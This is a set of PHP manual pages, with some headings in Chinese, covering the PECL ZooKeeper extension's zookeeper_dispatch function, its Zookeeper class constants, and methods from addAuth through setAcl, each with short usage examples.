  • Zookeeper ?
  • PHP Manual
  • ZooKeeper 函数
  • Calls callbacks for pending operations

zookeeper_dispatch

(PECL zookeeper >= 0.4.0)

zookeeper_dispatch — Calls callbacks for pending operations

说明

zookeeper_dispatch(): void

The zookeeper_dispatch() function calls the callbacks passed by operations like Zookeeper::get() or Zookeeper::exists().

Caution

Since version 0.4.0, this function must be called manually to achieve asynchronous operations. If you want that to be done automatically, you also can declare ticks at the beginning of your program.

After PHP 7.1, you can ignore this function. This extension uses EG(vm_interrupt) to implement async dispatch.

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

This method emits PHP warning when callback could not be invoked.

示例

Example #1 zookeeper_dispatch() example #1

Dispatch callbacks manually.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->get('/zookeeper', function() {
echo "Callback was called".PHP_EOL;
});
while(true) {
sleep(1);
zookeeper_dispatch();
}
?>

Example #2 zookeeper_dispatch() example #2

Declare ticks.

<?php
declare(ticks=1);

$client = new Zookeeper();
$client->connect('localhost:2181');
$client->get('/zookeeper', function() {
echo "Callback was called".PHP_EOL;
});
while(true) {
sleep(1);
}
?>

参见

  • Zookeeper::addAuth() - Specify application credentials
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::exists() - Checks the existence of a node in zookeeper synchronously
  • Zookeeper::get() - Gets the data associated with a node synchronously
  • Zookeeper::getChildren() - Lists the children of a node synchronously
  • Zookeeper::setWatcher() - Set a watcher function

User Contributed Notes

There are no user contributed notes for this page.


The Zookeeper class

(PECL zookeeper >= 0.1.0)

简介

Represents ZooKeeper session.

类摘要

class Zookeeper {
/* 方法 */
public __construct(string $host = '', callable $watcher_cb = null, int $recv_timeout = 10000)
public addAuth(string $scheme, string $cert, callable $completion_cb = null): bool
public close(): void
public connect(string $host, callable $watcher_cb = null, int $recv_timeout = 10000): void
public create(
string $path,
string $value,
array $acls,
int $flags = null
): string
public delete(string $path, int $version = -1): bool
public exists(string $path, callable $watcher_cb = null): array
public get(
string $path,
callable $watcher_cb = null,
array &$stat = null,
int $max_size = 0
): string
public getAcl(string $path): array
public getChildren(string $path, callable $watcher_cb = null): array
public getClientId(): int
public getConfig(): ZookeeperConfig
public getRecvTimeout(): int
public getState(): int
public isRecoverable(): bool
public set(
string $path,
string $value,
int $version = -1,
array &$stat = null
): bool
public setAcl(string $path, int $version, array $acl): bool
public static setDebugLevel(int $logLevel): bool
public static setDeterministicConnOrder(bool $yesOrNo): bool
public setLogStream(resource $stream): bool
public setWatcher(callable $watcher_cb): bool
/* 常量 */
const int PERM_READ = 1;
const int PERM_WRITE = 2;
const int PERM_CREATE = 4;
const int PERM_DELETE = 8;
const int PERM_ADMIN = 16;
const int PERM_ALL = 31;
const int EPHEMERAL = 1;
const int SEQUENCE = 2;
const int LOG_LEVEL_ERROR = 1;
const int LOG_LEVEL_WARN = 2;
const int LOG_LEVEL_INFO = 3;
const int LOG_LEVEL_DEBUG = 4;
const int EXPIRED_SESSION_STATE = -112;
const int AUTH_FAILED_STATE = -113;
const int CONNECTING_STATE = 1;
const int ASSOCIATING_STATE = 2;
const int CONNECTED_STATE = 3;
const int READONLY_STATE = 5;
const int NOTCONNECTED_STATE = 999;
const int CREATED_EVENT = 1;
const int DELETED_EVENT = 2;
const int CHANGED_EVENT = 3;
const int CHILD_EVENT = 4;
const int SESSION_EVENT = -1;
const int NOTWATCHING_EVENT = -2;
const int SYSTEMERROR = -1;
const int RUNTIMEINCONSISTENCY = -2;
const int DATAINCONSISTENCY = -3;
const int CONNECTIONLOSS = -4;
const int MARSHALLINGERROR = -5;
const int UNIMPLEMENTED = -6;
const int OPERATIONTIMEOUT = -7;
const int BADARGUMENTS = -8;
const int INVALIDSTATE = -9;
const int NEWCONFIGNOQUORUM = -13;
const int RECONFIGINPROGRESS = -14;
const int OK = 0;
const int APIERROR = -100;
const int NONODE = -101;
const int NOAUTH = -102;
const int BADVERSION = -103;
const int NOCHILDRENFOREPHEMERALS = -108;
const int NODEEXISTS = -110;
const int NOTEMPTY = -111;
const int SESSIONEXPIRED = -112;
const int INVALIDCALLBACK = -113;
const int INVALIDACL = -114;
const int AUTHFAILED = -115;
const int CLOSING = -116;
const int NOTHING = -117;
const int SESSIONMOVED = -118;
const int NOTREADONLY = -119;
const int EPHEMERALONLOCALSESSION = -120;
const int NOWATCHER = -121;
const int RECONFIGDISABLED = -122;
}

预定义常量

ZooKeeper Permissions

Zookeeper::PERM_READ

Can read nodes value and list its children

Zookeeper::PERM_WRITE

Can set the nodes value

Zookeeper::PERM_CREATE

Can create children

Zookeeper::PERM_DELETE

Can delete children

Zookeeper::PERM_ADMIN

Can execute set_acl()

Zookeeper::PERM_ALL

All of the above flags ORd together

ZooKeeper Create Flags

Zookeeper::EPHEMERAL

If Zookeeper::EPHEMERAL flag is set, the node will automatically get removed if the client session goes away.

Zookeeper::SEQUENCE

If the Zookeeper::SEQUENCE flag is set, a unique monotonically increasing sequence number is appended to the path name. The sequence number is always fixed length of 10 digits, 0 padded.

ZooKeeper Log Levels

Zookeeper::LOG_LEVEL_ERROR

Outputs only error mesages

Zookeeper::LOG_LEVEL_WARN

Outputs errors/warnings

Zookeeper::LOG_LEVEL_INFO

Outputs big action messages besides errors/warnings

Zookeeper::LOG_LEVEL_DEBUG

Outputs all

ZooKeeper States

Zookeeper::EXPIRED_SESSION_STATE

Connected but session expired

Zookeeper::AUTH_FAILED_STATE

Connected but auth failed

Zookeeper::CONNECTING_STATE

Connecting

Zookeeper::ASSOCIATING_STATE

Associating

Zookeeper::CONNECTED_STATE

Connected

Zookeeper::READONLY_STATE

TODO: help us improve this extension.

Zookeeper::NOTCONNECTED_STATE

Connection failed

ZooKeeper Watch Types

Zookeeper::CREATED_EVENT

A node has been created

This is only generated by watches on non-existent nodes. These watches are set using Zookeeper::exists.

Zookeeper::DELETED_EVENT

A node has been deleted

This is only generated by watches on nodes. These watches are set using Zookeeper::exists and Zookeeper::get.

Zookeeper::CHANGED_EVENT

A node has changed

This is only generated by watches on nodes. These watches are set using Zookeeper::exists and Zookeeper::get.

Zookeeper::CHILD_EVENT

A change as occurred in the list of children

This is only generated by watches on the child list of a node. These watches are set using Zookeeper::getChildren.

Zookeeper::SESSION_EVENT

A session has been lost

This is generated when a client loses contact or reconnects with a server.

Zookeeper::NOTWATCHING_EVENT

A watch has been removed

This is generated when the server for some reason, probably a resource constraint, will no longer watch a node for a client.

ZooKeeper System and Server-side Errors

Zookeeper::SYSTEMERROR

This is never thrown by the server, it shouldn't be used other than to indicate a range. Specifically error codes greater than this value, but lesser than Zookeeper::APIERROR, are system errors.

Zookeeper::RUNTIMEINCONSISTENCY

A runtime inconsistency was found.

Zookeeper::DATAINCONSISTENCY

A data inconsistency was found.

Zookeeper::CONNECTIONLOSS

Connection to the server has been lost.

Zookeeper::MARSHALLINGERROR

Error while marshalling or unmarshalling data.

Zookeeper::UNIMPLEMENTED

Operation is unimplemented.

Zookeeper::OPERATIONTIMEOUT

Operation timeout.

Zookeeper::BADARGUMENTS

Invalid arguments.

Zookeeper::INVALIDSTATE

Invliad zhandle state.

Zookeeper::NEWCONFIGNOQUORUM

No quorum of new config is connected and up-to-date with the leader of last committed config - try invoking reconfiguration after new servers are connected and synced.

Available as of ZooKeeper 3.5.0

Zookeeper::RECONFIGINPROGRESS

Reconfiguration requested while another reconfiguration is currently in progress. This is currently not supported. Please retry.

Available as of ZooKeeper 3.5.0

ZooKeeper API Errors

Zookeeper::OK

Everything is OK.

Zookeeper::APIERROR

This is never thrown by the server, it shouldn't be used other than to indicate a range. Specifically error codes greater than this value are API errors (while values less than this indicate a Zookeeper::SYSTEMERROR).

Zookeeper::NONODE

Node does not exist.

Zookeeper::NOAUTH

Not authenticated.

Zookeeper::BADVERSION

Version conflict.

Zookeeper::NOCHILDRENFOREPHEMERALS

Ephemeral nodes may not have children.

Zookeeper::NODEEXISTS

The node already exists.

Zookeeper::NOTEMPTY

The node has children.

Zookeeper::SESSIONEXPIRED

The session has been expired by the server.

Zookeeper::INVALIDCALLBACK

Invalid callback specified.

Zookeeper::INVALIDACL

Invalid ACL specified.

Zookeeper::AUTHFAILED

Client authentication failed.

Zookeeper::CLOSING

ZooKeeper is closing.

Zookeeper::NOTHING

(not error) No server responses to process.

Zookeeper::SESSIONMOVED

Session moved to another server, so operation is ignored.

Zookeeper::NOTREADONLY

State-changing request is passed to read-only server.

Zookeeper::EPHEMERALONLOCALSESSION

Attempt to create ephemeral node on a local session.

Zookeeper::NOWATCHER

The watcher couldn't be found.

Zookeeper::RECONFIGDISABLED

Attempts to perform a reconfiguration operation when reconfiguration feature is disabled.

Table of Contents

  • Zookeeper::addAuth — Specify application credentials
  • Zookeeper::close — Close the zookeeper handle and free up any resources
  • Zookeeper::connect — Create a handle to used communicate with zookeeper
  • Zookeeper::__construct — Create a handle to used communicate with zookeeper
  • Zookeeper::create — Create a node synchronously
  • Zookeeper::delete — Delete a node in zookeeper synchronously
  • Zookeeper::exists — Checks the existence of a node in zookeeper synchronously
  • Zookeeper::get — Gets the data associated with a node synchronously
  • Zookeeper::getAcl — Gets the acl associated with a node synchronously
  • Zookeeper::getChildren — Lists the children of a node synchronously
  • Zookeeper::getClientId — Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)
  • Zookeeper::getConfig — Get instance of ZookeeperConfig
  • Zookeeper::getRecvTimeout — Return the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE). This value may change after a server re-connect
  • Zookeeper::getState — Get the state of the zookeeper connection
  • Zookeeper::isRecoverable — Checks if the current zookeeper connection state can be recovered
  • Zookeeper::set — Sets the data associated with a node
  • Zookeeper::setAcl — Sets the acl associated with a node synchronously
  • Zookeeper::setDebugLevel — Sets the debugging level for the library
  • Zookeeper::setDeterministicConnOrder — Enable/disable quorum endpoint order randomization
  • Zookeeper::setLogStream — Sets the stream to be used by the library for logging
  • Zookeeper::setWatcher — Set a watcher function

User Contributed Notes

There are no user contributed notes for this page.


Specify application credentials

  • ? Zookeeper
  • Zookeeper::close ?
  • PHP Manual
  • Zookeeper
  • Specify application credentials

Zookeeper::addAuth

(PECL zookeeper >= 0.1.0)

Zookeeper::addAuth — Specify application credentials

说明

public Zookeeper::addAuth(string $scheme, string $cert, callable $completion_cb = null): bool

The application calls this function to specify its credentials for purposes of authentication. The server will use the security provider specified by the scheme parameter to authenticate the client connection. If the authentication request has failed: - the server connection is dropped. - the watcher is called with the ZOO_AUTH_FAILED_STATE value as the state parameter.

参数

scheme

The id of authentication scheme. Natively supported: "digest" password-based authentication

cert

Application credentials. The actual value depends on the scheme.

completion_cb

The routine to invoke when the request completes. One of the following result codes may be passed into the completion callback: - ZOK operation completed successfully - ZAUTHFAILED authentication failed

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or operation fails.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

示例

Example #1 Zookeeper::addAuth() example

Add auth before requesting node value.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$value = 'nodevalue';
$zookeeper->set($path, $value);

$zookeeper->addAuth('digest', 'user0:passwd0');
$r = $zookeeper->get($path);
if ($r)
echo $r;
else
echo 'ERR';
?>

以上示例会输出：

nodevalue

参见

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::setAcl() - Sets the acl associated with a node synchronously
  • Zookeeper::getAcl() - Gets the acl associated with a node synchronously
  • ZooKeeper States
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Close the zookeeper handle and free up any resources

  • ? Zookeeper::addAuth
  • Zookeeper::connect ?
  • PHP Manual
  • Zookeeper
  • Close the zookeeper handle and free up any resources

Zookeeper::close

(PECL zookeeper >= 0.5.0)

Zookeeper::close — Close the zookeeper handle and free up any resources

说明

public Zookeeper::close(): void

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

This method emits ZookeeperException and it's derivatives when closing an uninitialized instance.

参见

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Create a handle to used communicate with zookeeper

  • ? Zookeeper::close
  • Zookeeper::__construct ?
  • PHP Manual
  • Zookeeper
  • Create a handle to used communicate with zookeeper

Zookeeper::connect

(PECL zookeeper >= 0.2.0)

Zookeeper::connect — Create a handle to used communicate with zookeeper

说明

public Zookeeper::connect(string $host, callable $watcher_cb = null, int $recv_timeout = 10000): void

This method creates a new handle and a zookeeper session that corresponds to that handle. Session establishment is asynchronous, meaning that the session should not be considered established until (and unless) an event of state ZOO_CONNECTED_STATE is received.

参数

host

Comma separated host:port pairs, each corresponding to a zk server. e.g. "127.0.0.1:3000,127.0.0.1:3001,127.0.0.1:3002"

watcher_cb

The global watcher callback function. When notifications are triggered this function will be invoked.

recv_timeout

The timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE).

返回值

没有返回值。

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or could not init instance.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参见

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Create a handle to used communicate with zookeeper

  • ? Zookeeper::connect
  • Zookeeper::create ?
  • PHP Manual
  • Zookeeper
  • Create a handle to used communicate with zookeeper

Zookeeper::__construct

(PECL zookeeper >= 0.1.0)

Zookeeper::__construct — Create a handle to used communicate with zookeeper

说明

public Zookeeper::__construct(string $host = '', callable $watcher_cb = null, int $recv_timeout = 10000)

This method creates a new handle and a zookeeper session that corresponds to that handle. Session establishment is asynchronous, meaning that the session should not be considered established until (and unless) an event of state ZOO_CONNECTED_STATE is received.

参数

host

comma separated host:port pairs, each corresponding to a zk server. e.g. "127.0.0.1:3000,127.0.0.1:3001,127.0.0.1:3002"

watcher_cb

the global watcher callback function. When notifications are triggered this function will be invoked.

recv_timeout

the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE).

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or could not init instance.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参见

  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Create a node synchronously

  • ? Zookeeper::__construct
  • Zookeeper::delete ?
  • PHP Manual
  • Zookeeper
  • Create a node synchronously

Zookeeper::create

(PECL zookeeper >= 0.1.0)

Zookeeper::create — Create a node synchronously

说明

public Zookeeper::create(
string $path,
string $value,
array $acls,
int $flags = null
): string

This method will create a node in ZooKeeper. A node can only be created if it does not already exists. The Create Flags affect the creation of nodes. If ZOO_EPHEMERAL flag is set, the node will automatically get removed if the client session goes away. If the ZOO_SEQUENCE flag is set, a unique monotonically increasing sequence number is appended to the path name.

参数

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

value

The data to be stored in the node.

acls

The initial ACL of the node. The ACL must not be null or empty.

flags

this parameter can be set to 0 for normal create or an OR of the Create Flags

返回值

Returns the path of the new node (this might be different than the supplied path because of the ZOO_SEQUENCE flag) on success, and false on failure.

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or fail to create node.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

示例

Example #1 Zookeeper::create() example

Create a new node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$aclArray = array(
array(
'perms' => Zookeeper::PERM_ALL,
'scheme' => 'world',
'id' => 'anyone',
)
);
$path = '/path/to/newnode';
$realPath = $zookeeper->create($path, null, $aclArray);
if ($realPath)
echo $realPath;
else
echo 'ERR';
?>

以上示例会输出：

/path/to/newnode

参见

  • Zookeeper::delete() - Delete a node in zookeeper synchronously
  • Zookeeper::getChildren() - Lists the children of a node synchronously
  • ZooKeeper Permissions
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Delete a node in zookeeper synchronously

  • ? Zookeeper::create
  • Zookeeper::exists ?
  • PHP Manual
  • Zookeeper
  • Delete a node in zookeeper synchronously

Zookeeper::delete

(PECL zookeeper >= 0.2.0)

Zookeeper::delete — Delete a node in zookeeper synchronously

说明

public Zookeeper::delete(string $path, int $version = -1): bool

参数

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

version

The expected version of the node. The function will fail if the actual version of the node does not match the expected version. If -1 is used the version check will not take place.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or fail to delete node.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

示例

Example #1 Zookeeper::delete() example

Delete a existing node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$r = $zookeeper->delete($path);
if ($r)
echo 'SUCCESS';
else
echo 'ERR';
?>

以上示例会输出：

SUCCESS

参见

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::getChildren() - Lists the children of a node synchronously
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Checks the existence of a node in zookeeper synchronously

  • ? Zookeeper::delete
  • Zookeeper::get ?
  • PHP Manual
  • Zookeeper
  • Checks the existence of a node in zookeeper synchronously

Zookeeper::exists

(PECL zookeeper >= 0.1.0)

Zookeeper::exists — Checks the existence of a node in zookeeper synchronously

说明

public Zookeeper::exists(string $path, callable $watcher_cb = null): array

参数

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

watcher_cb

if nonzero, a watch will be set at the server to notify the client if the node changes. The watch will be set even if the node does not

返回值

Returns the value of stat for the path if the given node exists, otherwise false.

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or fail to check the existence of a node.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

示例

Example #1 Zookeeper::exists() example

Check the existence of a node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$r = $zookeeper->exists($path);
if ($r)
echo 'EXISTS';
else
echo 'N/A or ERR';
?>

以上示例会输出：

EXISTS

参见

  • Zookeeper::get() - Gets the data associated with a node synchronously
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Gets the data associated with a node synchronously

  • ? Zookeeper::exists
  • Zookeeper::getAcl ?
  • PHP Manual
  • Zookeeper
  • Gets the data associated with a node synchronously

Zookeeper::get

(PECL zookeeper >= 0.1.0)

Zookeeper::get — Gets the data associated with a node synchronously

说明

public Zookeeper::get(
string $path,
callable $watcher_cb = null,
array &$stat = null,
int $max_size = 0
): string

参数

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

watcher_cb

If nonzero, a watch will be set at the server to notify the client if the node changes.

stat

If not NULL, will hold the value of stat for the path on return.

max_size

Max size of the data. If 0 is used, this method will return the whole data.

返回值

Returns the data on success, and false on failure.

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or fail to get value from node.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

示例

Example #1 Zookeeper::get() example

Get value from node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$value = 'nodevalue';
$zookeeper->set($path, $value);

$r = $zookeeper->get($path);
if ($r)
echo $r;
else
echo 'ERR';
?>

以上示例会输出：

nodevalue

Example #2 Zookeeper::get() stat example

Get node stat info.

<?php
$zookeeper = new Zookeeper('localhost:2181');
$path = '/path/to/node';
$stat = [];
$zookeeper->get($path, null, $stat);
var_dump($stat);
?>

以上示例会输出：

array(11) {
  ["czxid"]=>
  float(0)
  ["mzxid"]=>
  float(0)
  ["ctime"]=>
  float(0)
  ["mtime"]=>
  float(0)
  ["version"]=>
  int(0)
  ["cversion"]=>
  int(-2)
  ["aversion"]=>
  int(0)
  ["ephemeralOwner"]=>
  float(0)
  ["dataLength"]=>
  int(0)
  ["numChildren"]=>
  int(2)
  ["pzxid"]=>
  float(0)
}

参见

  • Zookeeper::set() - Sets the data associated with a node
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Gets the acl associated with a node synchronously

  • ? Zookeeper::get
  • Zookeeper::getChildren ?
  • PHP Manual
  • Zookeeper
  • Gets the acl associated with a node synchronously

Zookeeper::getAcl

(PECL zookeeper >= 0.1.0)

Zookeeper::getAcl — Gets the acl associated with a node synchronously

说明

public Zookeeper::getAcl(string $path): array

参数

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

返回值

Return acl array on success and false on failure.

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or fail to get ACL of a node.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

示例

Example #1 Zookeeper::getAcl() example

Get ACL of a node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$aclArray = array(
array(
'perms' => Zookeeper::PERM_ALL,
'scheme' => 'world',
'id' => 'anyone',
)
);
$path = '/path/to/newnode';
$zookeeper->setAcl($path, $aclArray);

$r = $zookeeper->getAcl($path);
if ($r)
var_dump($r);
else
echo 'ERR';
?>

以上示例会输出：

array(1) {
  [0]=>
  array(3) {
    ["perms"]=>
    int(31)
    ["scheme"]=>
    string(5) "world"
    ["id"]=>
    string(6) "anyone"
  }
}

参见

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::setAcl() - Sets the acl associated with a node synchronously
  • ZooKeeper Permissions
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Lists the children of a node synchronously

  • ? Zookeeper::getAcl
  • Zookeeper::getClientId ?
  • PHP Manual
  • Zookeeper
  • Lists the children of a node synchronously

Zookeeper::getChildren

(PECL zookeeper >= 0.1.0)

Zookeeper::getChildren — Lists the children of a node synchronously

说明

public Zookeeper::getChildren(string $path, callable $watcher_cb = null): array

参数

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

watcher_cb

If nonzero, a watch will be set at the server to notify the client if the node changes.

返回值

Returns an array with children paths on success, and false on failure.

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or fail to list children of a node.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

示例

Example #1 Zookeeper::getChildren() example

Lists children of a node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/zookeeper';
$r = $zookeeper->getchildren($path);
if ($r)
var_dump($r);
else
echo 'ERR';
?>

以上示例会输出：

array(1) {
  [0]=>
  string(6) "config"
}

参见

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::delete() - Delete a node in zookeeper synchronously
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)

  • ? Zookeeper::getChildren
  • Zookeeper::getConfig ?
  • PHP Manual
  • Zookeeper
  • Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)

Zookeeper::getClientId

(PECL zookeeper >= 0.1.0)

Zookeeper::getClientId — Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)

说明

public Zookeeper::getClientId(): int

参数

此函数没有参数。

返回值

Returns the client session id on success, and false on failure.

错误／异常

This method emits PHP error/warning when it could not get client session id.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参见

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • Zookeeper::getState() - Get the state of the zookeeper connection
  • ZooKeeper States
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Get instance of ZookeeperConfig

  • ? Zookeeper::getClientId
  • Zookeeper::getRecvTimeout ?
  • PHP Manual
  • Zookeeper
  • Get instance of ZookeeperConfig

Zookeeper::getConfig

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

Zookeeper::getConfig — Get instance of ZookeeperConfig

说明

public Zookeeper::getConfig(): ZookeeperConfig

参数

此函数没有参数。

返回值

Returns instance of ZookeeperConfig.

参见

  • ZookeeperConfig

User Contributed Notes

There are no user contributed notes for this page.


Return the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE). This value may change after a server re-connect

  • ? Zookeeper::getConfig
  • Zookeeper::getState ?
  • PHP Manual
  • Zookeeper
  • Return the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE). This value may change after a server re-connect

Zookeeper::getRecvTimeout

(PECL zookeeper >= 0.1.0)

Zookeeper::getRecvTimeout — Return the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE). This value may change after a server re-connect

说明

public Zookeeper::getRecvTimeout(): int

参数

此函数没有参数。

返回值

Returns the timeout for this session on success, and false on failure.

错误／异常

This method emits PHP error/warning when operation fails.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参见

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Get the state of the zookeeper connection

  • ? Zookeeper::getRecvTimeout
  • Zookeeper::isRecoverable ?
  • PHP Manual
  • Zookeeper
  • Get the state of the zookeeper connection

Zookeeper::getState

(PECL zookeeper >= 0.1.0)

Zookeeper::getState — Get the state of the zookeeper connection

说明

public Zookeeper::getState(): int

参数

此函数没有参数。

返回值

Returns the state of zookeeper connection on success, and false on failure.

错误／异常

This method emits PHP error/warning when it fails to get state of zookeeper connection.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参见

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • Zookeeper::getClientId() - Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)
  • ZooKeeper States
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Checks if the current zookeeper connection state can be recovered

  • ? Zookeeper::getState
  • Zookeeper::set ?
  • PHP Manual
  • Zookeeper
  • Checks if the current zookeeper connection state can be recovered

Zookeeper::isRecoverable

(PECL zookeeper >= 0.1.0)

Zookeeper::isRecoverable — Checks if the current zookeeper connection state can be recovered

说明

public Zookeeper::isRecoverable(): bool

The application must close the handle and try to reconnect.

参数

此函数没有参数。

返回值

Returns true/false on success, and false on failure.

错误／异常

This method emits PHP error/warning when operation fails.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参见

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • Zookeeper::getClientId() - Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)
  • ZooKeeper States
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Sets the data associated with a node

  • ? Zookeeper::isRecoverable
  • Zookeeper::setAcl ?
  • PHP Manual
  • Zookeeper
  • Sets the data associated with a node

Zookeeper::set

(PECL zookeeper >= 0.1.0)

Zookeeper::set — Sets the data associated with a node

说明

public Zookeeper::set(
string $path,
string $value,
int $version = -1,
array &$stat = null
): bool

参数

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

value

The data to be stored in the node.

version

The expected version of the node. The function will fail if the actual version of the node does not match the expected version. If -1 is used the version check will not take place.

stat

If not NULL, will hold the value of stat for the path on return.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or fail to save value to node.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

示例

Example #1 Zookeeper::set() example

Save value to node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$value = 'nodevalue';
$r = $zookeeper->set($path, $value);
if ($r)
echo 'SUCCESS';
else
echo 'ERR';
?>

以上示例会输出：

SUCCESS

参见

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::get() - Gets the data associated with a node synchronously
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Sets the acl associated with a node synchronously

  • ? Zookeeper::set
  • Zookeeper::setDebugLevel ?
  • PHP Manual
  • Zookeeper
  • Sets the acl associated with a node synchronously

Zookeeper::setAcl

(PECL zookeeper >= 0.1.0)

Zookeeper::setAcl — Sets the acl associated with a node synchronously

说明

public Zookeeper::setAcl(string $path, int $version, array $acl): bool

参数

path

The name of the node. Expressed as a file name with slashes separating ancestors of the node.

version

The expected version of the path.

acl

The acl to be set on the path.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or fail to set ACL for a node.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

示例

Example #1 Zookeeper::setAcl() example

Set ACL for a node.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$aclArray = array(
array(
'perms' => Zookeeper::PERM_ALL,
'scheme' => 'world',
'id' => 'anyone',
)
);
$path = '/path/to/newnode';
$zookeeper->setAcl($path, $aclArray);

$r = $zookeeper->getAcl($path);
if ($r)
var_dump($r);
else
echo 'ERR';
?>

以上示例会输出：

array(1) {
  [0]=>
  array(3) {
    ["perms"]=>
    int(31)
    ["scheme"]=>
    string(5) "world"
    ["id"]=>
    string(6) "anyone"
  }
}

参见

  • Zookeeper::create() - Create a node synchronously
  • Zookeeper::getAcl() - Gets the acl associated with a node synchronously
  • ZooKeeper Permissions
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Sets the debugging level for the library

  • ? Zookeeper::setAcl
  • Zookeeper::setDeterministicConnOrder ?
  • PHP Manual
  • Zookeeper
  • Sets the debugging level for the library

Zookeeper::setDebugLevel

(PECL zookeeper >= 0.1.0)

Zookeeper::setDebugLevel — Sets the debugging level for the library

说明

